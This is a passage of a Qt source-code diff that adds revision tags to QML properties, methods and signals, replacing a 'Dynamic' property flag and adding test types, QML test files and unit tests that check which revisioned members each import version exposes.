QDeclarativeData *ddata = QDeclarativeData::get(o); Q_ASSERT(ddata); + if (types.at(instr.create.type).type) + ddata->type = types.at(instr.create.type).type; if (stack.isEmpty()) { if (ddata->context) { @@ -249,6 +251,8 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack, QDeclarativeData *ddata = (QDeclarativeData *)(((const char *)o) + instr.createSimple.typeSize); + if (types.at(instr.createSimple.type).type) + ddata->type = types.at(instr.createSimple.type).type; ddata->lineNumber = instr.line; ddata->columnNumber = instr.createSimple.column; diff --git a/src/declarative/qml/qmetaobjectbuilder.cpp b/src/declarative/qml/qmetaobjectbuilder.cpp index dfe89f8..60cd6a9 100644 --- a/src/declarative/qml/qmetaobjectbuilder.cpp +++ b/src/declarative/qml/qmetaobjectbuilder.cpp @@ -122,7 +122,7 @@ enum PropertyFlags { User = 0x00100000, ResolveUser = 0x00200000, Notify = 0x00400000, - Dynamic = 0x00800000 + Revisioned = 0x00800000 }; enum MethodFlags { @@ -139,7 +139,8 @@ enum MethodFlags { MethodCompatibility = 0x10, MethodCloned = 0x20, - MethodScriptable = 0x40 + MethodScriptable = 0x40, + MethodRevisioned = 0x80 }; struct QMetaObjectPrivate @@ -2277,21 +2278,6 @@ bool QMetaPropertyBuilder::isEnumOrFlag() const } /*! - Returns true if the property has the dynamic flag set; - otherwise returns false. The default value is false. - - \sa setDynamic() -*/ -bool QMetaPropertyBuilder::isDynamic() const -{ - QMetaPropertyBuilderPrivate *d = d_func(); - if (d) - return d->flag(Dynamic); - else - return false; -} - -/*! Sets this property to readable if \a value is true. \sa isReadable(), setWritable() @@ -2415,19 +2401,6 @@ void QMetaPropertyBuilder::setEnumOrFlag(bool value) } /*! - Sets this property to have the dynamic flag if \a value is - true. - - \sa isDynamic() -*/ -void QMetaPropertyBuilder::setDynamic(bool value) -{ - QMetaPropertyBuilderPrivate *d = d_func(); - if (d) - d->setFlag(Dynamic, value); -} - -/*! \class QMetaEnumBuilder \internal \brief The QMetaEnumBuilder class enables modifications to an enumerator definition on a meta object builder. diff --git a/src/declarative/qml/qmetaobjectbuilder_p.h b/src/declarative/qml/qmetaobjectbuilder_p.h index a90ba63..c270f60 100644 --- a/src/declarative/qml/qmetaobjectbuilder_p.h +++ b/src/declarative/qml/qmetaobjectbuilder_p.h @@ -258,7 +258,6 @@ public: bool isUser() const; bool hasStdCppSet() const; bool isEnumOrFlag() const; - bool isDynamic() const; void setReadable(bool value); void setWritable(bool value); @@ -270,7 +269,6 @@ public: void setUser(bool value); void setStdCppSet(bool value); void setEnumOrFlag(bool value); - void setDynamic(bool value); private: const QMetaObjectBuilder *_mobj; diff --git a/src/declarative/util/qdeclarativeopenmetaobject.cpp b/src/declarative/util/qdeclarativeopenmetaobject.cpp index c611435..1426cea 100644 --- a/src/declarative/util/qdeclarativeopenmetaobject.cpp +++ b/src/declarative/util/qdeclarativeopenmetaobject.cpp @@ -97,7 +97,6 @@ int QDeclarativeOpenMetaObjectType::createProperty(const QByteArray &name) int id = d->mob.propertyCount(); d->mob.addSignal("__" + QByteArray::number(id) + "()"); QMetaPropertyBuilder build = d->mob.addProperty(name, "QVariant", id); - build.setDynamic(true); propertyCreated(id, build); qFree(d->mem); d->mem = d->mob.toMetaObject(); diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml new file mode 100644 index 0000000..77accd8 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml @@ -0,0 +1,7 @@ +import Qt.test 1.1 + +MyRevisionedClass +{ + prop1: prop2 + onSignal1: method2() +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml new file mode 100644 index 0000000..36057cb --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml @@ -0,0 +1,9 @@ +import Qt.test 1.1 + +MyRevisionedSubclass +{ + prop1: prop3 + onSignal1: method2() + prop3: prop4 + onSignal3: method4() +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml new file mode 100644 index 0000000..81769e9 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml @@ -0,0 +1,8 @@ +import Qt.test 1.0 + +MyRevisionedSubclass +{ + prop1: prop3 + onSignal1: method1() + onSignal3: method3() +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml new file mode 100644 index 0000000..44d421e --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml @@ -0,0 +1,14 @@ +import QtQuick 1.0 +import Qt.test 1.0 + +MyRevisionedClass +{ + // Will not hit optimizer + property real p1: prop1 % 3 + property real p2: prop2 % 3 + + // Should hit optimizer + property real p3: prop2 + + Component.onCompleted: method2() +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml new file mode 100644 index 0000000..121642e --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml @@ -0,0 +1,24 @@ +import QtQuick 1.0 +import Qt.test 1.0 + +MyRevisionedSubclass +{ + // Will not hit optimizer + property real p1: prop1 % 3 + property real p2: prop2 % 3 + property real p3: prop3 % 3 + property real p4: prop4 % 3 + + // Should hit optimizer + property real p5: prop1 + property real p6: prop2 + property real p7: prop3 + property real p8: prop4 + + Component.onCompleted: { + method1() + method2() + method3() + method4() + } +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml new file mode 100644 index 0000000..123650e --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml @@ -0,0 +1,36 @@ +import QtQuick 1.0 +import Qt.test 1.1 + +MyRevisionedSubclass +{ + // Will not hit optimizer + property real pA: propA % 3 + property real pB: propB % 3 + property real pC: propC % 3 + property real pD: propD % 3 + property real p1: prop1 % 3 + property real p2: prop2 % 3 + property real p3: prop3 % 3 + property real p4: prop4 % 3 + + // Should hit optimizer + property real pE: propA + property real pF: propB + property real pG: propC + property real pH: propD + property real p5: prop1 + property real p6: prop2 + property real p7: prop3 + property real p8: prop4 + + Component.onCompleted: { + methodA() + methodB() + methodC() + methodD() + method1() + method2() + method3() + method4() + } +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp index 94135f9..29e5eac 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp @@ -113,6 +113,15 @@ void registerTypes() qmlRegisterType("Qt.test", 1,0, "NumberAssignment"); qmlRegisterExtendedType("Qt.test", 1,0, "DefaultPropertyExtendedObject"); qmlRegisterType("Qt.test", 1,0, "OverrideDefaultPropertyObject"); + qmlRegisterType("Qt.test",1,0,"MyRevisionedClass"); + qmlRegisterType("Qt.test",1,1,"MyRevisionedClass"); + + // Register the uncreatable base class + qmlRegisterRevision("Qt.test",1,1); + // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0 + qmlRegisterType("Qt.test",1,0,"MyRevisionedSubclass"); + // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1 + qmlRegisterType("Qt.test",1,1,"MyRevisionedSubclass"); qmlRegisterExtendedType("Qt.test",1,0,"QWidget"); qmlRegisterType("Qt.test",1,0,"QPlainTextEdit"); diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h index 15c310f..02a4352 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h @@ -736,6 +736,167 @@ public: OverrideDefaultPropertyObject() {} }; +class MyRevisionedBaseClassRegistered : public QObject +{ +Q_OBJECT + Q_PROPERTY(qreal propA READ propA WRITE setPropA NOTIFY propAChanged) + Q_PROPERTY(qreal propB READ propB WRITE setPropB NOTIFY propBChanged REVISION 1) + +public: + MyRevisionedBaseClassRegistered() : m_pa(1), m_pb(2) {} + + qreal propA() const { return m_pa; } + void setPropA(qreal p) { + if (p != m_pa) { + m_pa = p; + emit propAChanged(); + } + } + qreal propB() const { return m_pb; } + void setPropB(qreal p) { + if (p != m_pb) { + m_pb = p; + emit propBChanged(); + } + } + + Q_INVOKABLE void methodA() { } + Q_INVOKABLE Q_REVISION(1) void methodB() { } + +signals: + void propAChanged(); + void propBChanged(); + + void signalA(); + Q_REVISION(1) void signalB(); + +protected: + qreal m_pa; + qreal m_pb; +}; + +class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered +{ +Q_OBJECT + Q_PROPERTY(qreal propC READ propC WRITE setPropC NOTIFY propCChanged) + Q_PROPERTY(qreal propD READ propD WRITE setPropD NOTIFY propDChanged REVISION 1) + +public: + MyRevisionedBaseClassUnregistered() : m_pc(1), m_pd(2) {} + + qreal propC() const { return m_pc; } + void setPropC(qreal p) { + if (p != m_pc) { + m_pc = p; + emit propCChanged(); + } + } + qreal propD() const { return m_pd; } + void setPropD(qreal p) { + if (p != m_pd) { + m_pd = p; + emit propDChanged(); + } + } + + Q_INVOKABLE void methodC() { } + Q_INVOKABLE Q_REVISION(1) void methodD() { } + +signals: + void propCChanged(); + void propDChanged(); + + void signalC(); + Q_REVISION(1) void signalD(); + +protected: + qreal m_pc; + qreal m_pd; +}; + +class MyRevisionedClass : public MyRevisionedBaseClassUnregistered +{ + Q_OBJECT + Q_PROPERTY(qreal prop1 READ prop1 WRITE setProp1 NOTIFY prop1Changed) + Q_PROPERTY(qreal prop2 READ prop2 WRITE setProp2 NOTIFY prop2Changed REVISION 1) + +public: + MyRevisionedClass() {} + + qreal prop1() const { return m_p1; } + void setProp1(qreal p) { + if (p != m_p1) { + m_p1 = p; + emit prop1Changed(); + } + } + qreal prop2() const { return m_p2; } + void setProp2(qreal p) { + if (p != m_p2) { + m_p2 = p; + emit prop2Changed(); + } + } + + Q_INVOKABLE void method1() { } + Q_INVOKABLE Q_REVISION(1) void method2() { } + +signals: + void prop1Changed(); + void prop2Changed(); + + void signal1(); + Q_REVISION(1) void signal2(); + +protected: + qreal m_p1; + qreal m_p2; +}; + +class MyRevisionedSubclass : public MyRevisionedClass +{ + Q_OBJECT + Q_PROPERTY(qreal prop3 READ prop3 WRITE setProp3 NOTIFY prop3Changed) + Q_PROPERTY(qreal prop4 READ prop4 WRITE setProp4 NOTIFY prop4Changed REVISION 1) + +public: + MyRevisionedSubclass() : m_p3(3), m_p4(4) {} + + qreal prop3() const { return m_p3; } + void setProp3(qreal p) { + if (p != m_p3) { + m_p3 = p; + emit prop3Changed(); + } + } + qreal prop4() const { return m_p4; } + void setProp4(qreal p) { + if (p != m_p4) { + m_p4 = p; + emit prop4Changed(); + } + } + + Q_INVOKABLE void method3() { } + Q_INVOKABLE Q_REVISION(1) void method4() { } + +signals: + void prop3Changed(); + void prop4Changed(); + + void signal3(); + Q_REVISION(1) void signal4(); + +protected: + qreal m_p3; + qreal m_p4; +}; + +QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered) +QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered) +QML_DECLARE_TYPE(MyRevisionedClass) +QML_DECLARE_TYPE(MyRevisionedSubclass) + void registerTypes(); #endif // TESTTYPES_H diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index 4228bc4..a29c459 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -176,6 +176,9 @@ private slots: void callQtInvokables(); void invokableObjectArg(); void invokableObjectRet(); + + void revisionErrors(); + void revision(); private: QDeclarativeEngine engine; }; @@ -2847,6 +2850,85 @@ void tst_qdeclarativeecmascript::aliasWritesOverrideBindings() } } +void tst_qdeclarativeecmascript::revisionErrors() +{ + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors.qml")); + QString url = component.url().toString(); + + QString warning1 = url + ":8: ReferenceError: Can't find variable: prop2"; + QString warning2 = url + ":11: ReferenceError: Can't find variable: prop2"; + QString warning3 = url + ":13: ReferenceError: Can't find variable: method2"; + + QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData()); + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors2.qml")); + QString url = component.url().toString(); + + // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0 + // method2, prop2 from MyRevisionedClass not available + // method4, prop4 from MyRevisionedSubclass not available + QString warning1 = url + ":8: ReferenceError: Can't find variable: prop2"; + QString warning2 = url + ":14: ReferenceError: Can't find variable: prop2"; + QString warning3 = url + ":10: ReferenceError: Can't find variable: prop4"; + QString warning4 = url + ":16: ReferenceError: Can't find variable: prop4"; + QString warning5 = url + ":20: ReferenceError: Can't find variable: method2"; + + QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning4.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning5.toLatin1().constData()); + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors3.qml")); + QString url = component.url().toString(); + + // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1 + // All properties/methods available, except MyRevisionedBaseClassUnregistered rev 1 + QString warning1 = url + ":30: ReferenceError: Can't find variable: methodD"; + QString warning2 = url + ":10: ReferenceError: Can't find variable: propD"; + QString warning3 = url + ":20: ReferenceError: Can't find variable: propD"; + QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData()); + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } +} + +void tst_qdeclarativeecmascript::revision() +{ + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision.qml")); + QString url = component.url().toString(); + + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision2.qml")); + QString url = component.url().toString(); + + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision3.qml")); + QString url = component.url().toString(); + + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } +} + QTEST_MAIN(tst_qdeclarativeecmascript) #include "tst_qdeclarativeecmascript.moc" diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt new file mode 100644 index 0000000..6ad6bfa --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt @@ -0,0 +1 @@ +7:5:Property "prop2" not available in Test/MyRevisionedClass 1.0 diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml new file mode 100644 index 0000000..4662d5e --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml @@ -0,0 +1,8 @@ +import QtQuick 1.0 +import Test 1.0 + +MyRevisionedClass +{ + prop1: 1 + prop2: 2 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt new file mode 100644 index 0000000..92ccd9a --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt @@ -0,0 +1 @@ +6:5:Signal "onSignal2" not available in Test/MyRevisionedClass 1.0 diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml new file mode 100644 index 0000000..8da7a25 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml @@ -0,0 +1,7 @@ +import Test 1.0 + +MyRevisionedClass +{ + onSignal1: prop1 = 2 + onSignal2: prop1 = 3 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt new file mode 100644 index 0000000..b3c33c4 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt @@ -0,0 +1 @@ +9:5:Property "propD" not available in Test/MyRevisionedClass 1.1 diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml new file mode 100644 index 0000000..195be21 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml @@ -0,0 +1,10 @@ +import Test 1.1 + +MyRevisionedClass +{ + propA: 10 + propB: 10 + propC: 10 + // propD is in rev 1 of MyRevisionedClassUnregistered, but not registered in 1.1 + propD: 10 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml new file mode 100644 index 0000000..c4974cf --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml @@ -0,0 +1,8 @@ +import QtQuick 1.0 +import Test 1.0 + +MyRevisionedClass +{ + property real prop2: 10 + prop1: 1 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml new file mode 100644 index 0000000..4d3d7d2 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml @@ -0,0 +1,10 @@ +import QtQuick 1.0 +import Test 1.1 + +MyRevisionedClass +{ + prop1: 1 + prop2: 10 + + onSignal2: prop2 = 3 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml new file mode 100644 index 0000000..57d76b1 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml @@ -0,0 +1,16 @@ +import QtQuick 1.0 +import Test 1.1 + +MyRevisionedSubclass +{ + propA: 10 + propB: 10 + propC: 10 + // propD is not registered in 1.1 + prop1: 10 + prop2: 10 + prop3: 10 + prop4: 10 + + onSignal4: prop4 = 2 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml new file mode 100644 index 0000000..b5de4a3 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml @@ -0,0 +1,10 @@ +import QtQuick 1.0 +import Test 1.0 + +MyRevisionedSubclass +{ + property real prop4: 10 + property real prop2: 10 + prop1: 5 + prop3: 7 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml new file mode 100644 index 0000000..f107356 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml @@ -0,0 +1,12 @@ +import QtQuick 1.0 +import Test 1.1 + +MyRevisionedSubclass +{ + prop1: 10 + prop2: 10 + prop3: 10 + prop4: 10 + + onSignal4: prop4 = 2 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp index e697aeb..217f54a 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp @@ -52,6 +52,15 @@ void registerTypes() qmlRegisterType("Test",1,0,"MySecondNamespacedType"); qmlRegisterType("Test",1,0,"MyParserStatus"); qmlRegisterType(); + qmlRegisterType("Test",1,0,"MyRevisionedClass"); + qmlRegisterType("Test",1,1,"MyRevisionedClass"); + + // Register the uncreatable base class + qmlRegisterRevision("Test",1,1); + // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0 + qmlRegisterType("Test",1,0,"MyRevisionedSubclass"); + // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1 + qmlRegisterType("Test",1,1,"MyRevisionedSubclass"); qmlRegisterCustomType("Test", 1, 0, "MyCustomParserType", new MyCustomParserTypeParser); diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h index f8d785c..4508d01 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h @@ -601,6 +601,169 @@ private: int m_ccc; }; +class MyRevisionedBaseClassRegistered : public QObject +{ + Q_OBJECT + Q_PROPERTY(qreal propA READ propA WRITE setPropA NOTIFY propAChanged) + Q_PROPERTY(qreal propB READ propB WRITE setPropB NOTIFY propBChanged REVISION 1) + +public: + MyRevisionedBaseClassRegistered() : m_pa(1), m_pb(2) {} + + qreal propA() const { return m_pa; } + void setPropA(qreal p) { + if (p != m_pa) { + m_pa = p; + emit propAChanged(); + } + } + qreal propB() const { return m_pb; } + void setPropB(qreal p) { + if (p != m_pb) { + m_pb = p; + emit propBChanged(); + } + } + + Q_INVOKABLE void methodA() { } + Q_INVOKABLE Q_REVISION(1) void methodB() { } + +signals: + void propAChanged(); + void propBChanged(); + + void signalA(); + Q_REVISION(1) void signalB(); + +protected: + qreal m_pa; + qreal m_pb; +}; + +class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered +{ + Q_OBJECT + Q_PROPERTY(qreal propC READ propC WRITE setPropC NOTIFY propCChanged) + Q_PROPERTY(qreal propD READ propD WRITE setPropD NOTIFY propDChanged REVISION 1) + +public: + MyRevisionedBaseClassUnregistered() : m_pc(1), m_pd(2) {} + + qreal propC() const { return m_pc; } + void setPropC(qreal p) { + if (p != m_pc) { + m_pc = p; + emit propCChanged(); + } + } + qreal propD() const { return m_pd; } + void setPropD(qreal p) { + if (p != m_pd) { + m_pd = p; + emit propDChanged(); + } + } + + Q_INVOKABLE void methodC() { } + Q_INVOKABLE Q_REVISION(1) void methodD() { } + +signals: + void propCChanged(); + void propDChanged(); + + void signalC(); + Q_REVISION(1) void signalD(); + +protected: + qreal m_pc; + qreal m_pd; +}; + +class MyRevisionedClass : public MyRevisionedBaseClassUnregistered +{ + Q_OBJECT + Q_PROPERTY(qreal prop1 READ prop1 WRITE setProp1 NOTIFY prop1Changed) + Q_PROPERTY(qreal prop2 READ prop2 WRITE setProp2 NOTIFY prop2Changed REVISION 1) + +public: + MyRevisionedClass() : m_p1(1), m_p2(2) {} + + qreal prop1() const { return m_p1; } + void setProp1(qreal p) { + if (p != m_p1) { + m_p1 = p; + emit prop1Changed(); + } + } + qreal prop2() const { return m_p2; } + void setProp2(qreal p) { + if (p != m_p2) { + m_p2 = p; + emit prop2Changed(); + } + } + + Q_INVOKABLE void method1() { } + Q_INVOKABLE Q_REVISION(1) void method2() { } + +signals: + void prop1Changed(); + void prop2Changed(); + + void signal1(); + Q_REVISION(1) void signal2(); + +protected: + qreal m_p1; + qreal m_p2; +}; + +class MyRevisionedSubclass : public MyRevisionedClass +{ + Q_OBJECT + Q_PROPERTY(qreal prop3 READ prop3 WRITE setProp3 NOTIFY prop3Changed) + Q_PROPERTY(qreal prop4 READ prop4 WRITE setProp4 NOTIFY prop4Changed REVISION 1) + +public: + MyRevisionedSubclass() : m_p3(3), m_p4(4) {} + + qreal prop3() const { return m_p3; } + void setProp3(qreal p) { + if (p != m_p3) { + m_p3 = p; + emit prop3Changed(); + } + } + qreal prop4() const { return m_p4; } + void setProp4(qreal p) { + if (p != m_p4) { + m_p4 = p; + emit prop4Changed(); + } + } + + Q_INVOKABLE void method3() { } + Q_INVOKABLE Q_REVISION(1) void method4() { } + +signals: + void prop3Changed(); + void prop4Changed(); + + void signal3(); + Q_REVISION(1) void signal4(); + +protected: + qreal m_p3; + qreal m_p4; +}; + +QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered) +QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered) +QML_DECLARE_TYPE(MyRevisionedClass) +QML_DECLARE_TYPE(MyRevisionedSubclass) + + + void registerTypes(); #endif // TESTTYPES_H diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 6410853..298d802 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -153,6 +153,8 @@ private slots: void customOnProperty(); void variantNotify(); + void revisions(); + // regression tests for crashes void crash1(); void crash2(); @@ -421,6 +423,10 @@ void tst_qdeclarativelanguage::errors_data() << "incorrectCase.errors.sensitive.txt" #endif << false; + + QTest::newRow("metaobjectRevision.1") << "metaobjectRevision.1.qml" << "metaobjectRevision.1.errors.txt" << false; + QTest::newRow("metaobjectRevision.2") << "metaobjectRevision.2.qml" << "metaobjectRevision.2.errors.txt" << false; + QTest::newRow("metaobjectRevision.3") << "metaobjectRevision.3.qml" << "metaobjectRevision.3.errors.txt" << false; } @@ -1888,6 +1894,62 @@ void tst_qdeclarativelanguage::variantNotify() delete object; } +void tst_qdeclarativelanguage::revisions() +{ + { + QDeclarativeComponent component(&engine, TEST_FILE("revisions10.qml")); + + VERIFY_ERRORS(0); + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QCOMPARE(object->prop2(), 2.0); + QCOMPARE(object->property("prop2").toReal(), 10.0); + + delete object; + } + { + QDeclarativeComponent component(&engine, TEST_FILE("revisions11.qml")); + + VERIFY_ERRORS(0); + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QCOMPARE(object->prop2(), 10.0); + + delete object; + } + { + QDeclarativeComponent component(&engine, TEST_FILE("revisionssub10.qml")); + + VERIFY_ERRORS(0); + MyRevisionedSubclass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QCOMPARE(object->prop2(), 2.0); + QCOMPARE(object->property("prop2").toReal(), 10.0); + + QCOMPARE(object->prop4(), 4.0); + QCOMPARE(object->property("prop4").toReal(), 10.0); + + delete object; + } + { + QDeclarativeComponent component(&engine, TEST_FILE("revisionssub11.qml")); + + VERIFY_ERRORS(0); + MyRevisionedSubclass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QCOMPARE(object->prop1(), 10.0); + QCOMPARE(object->prop2(), 10.0); + QCOMPARE(object->prop3(), 10.0); + QCOMPARE(object->prop4(), 10.0); + + delete object; + } +} + void tst_qdeclarativelanguage::initTestCase() { registerTypes(); diff --git a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp index 0f6d531..a1f938a 100644 --- a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp +++ b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp @@ -546,7 +546,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(!nullProp.isUser()); QVERIFY(!nullProp.hasStdCppSet()); QVERIFY(!nullProp.isEnumOrFlag()); - QVERIFY(!nullProp.isDynamic()); QCOMPARE(nullProp.index(), 0); // Add a property and check its attributes. @@ -564,7 +563,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(!prop1.isUser()); QVERIFY(!prop1.hasStdCppSet()); QVERIFY(!prop1.isEnumOrFlag()); - QVERIFY(!prop1.isDynamic()); QCOMPARE(prop1.index(), 0); QCOMPARE(builder.propertyCount(), 1); @@ -583,7 +581,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(!prop2.isUser()); QVERIFY(!prop2.hasStdCppSet()); QVERIFY(!prop2.isEnumOrFlag()); - QVERIFY(!prop2.isDynamic()); QCOMPARE(prop2.index(), 1); QCOMPARE(builder.propertyCount(), 2); @@ -605,7 +602,6 @@ void tst_QMetaObjectBuilder::property() prop1.setUser(true); prop1.setStdCppSet(true); prop1.setEnumOrFlag(true); - prop1.setDynamic(true); // Check that prop1 is changed, but prop2 is not. QCOMPARE(prop1.name(), QByteArray("foo")); @@ -620,7 +616,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(prop1.isUser()); QVERIFY(prop1.hasStdCppSet()); QVERIFY(prop1.isEnumOrFlag()); - QVERIFY(prop1.isDynamic()); QVERIFY(prop2.isReadable()); 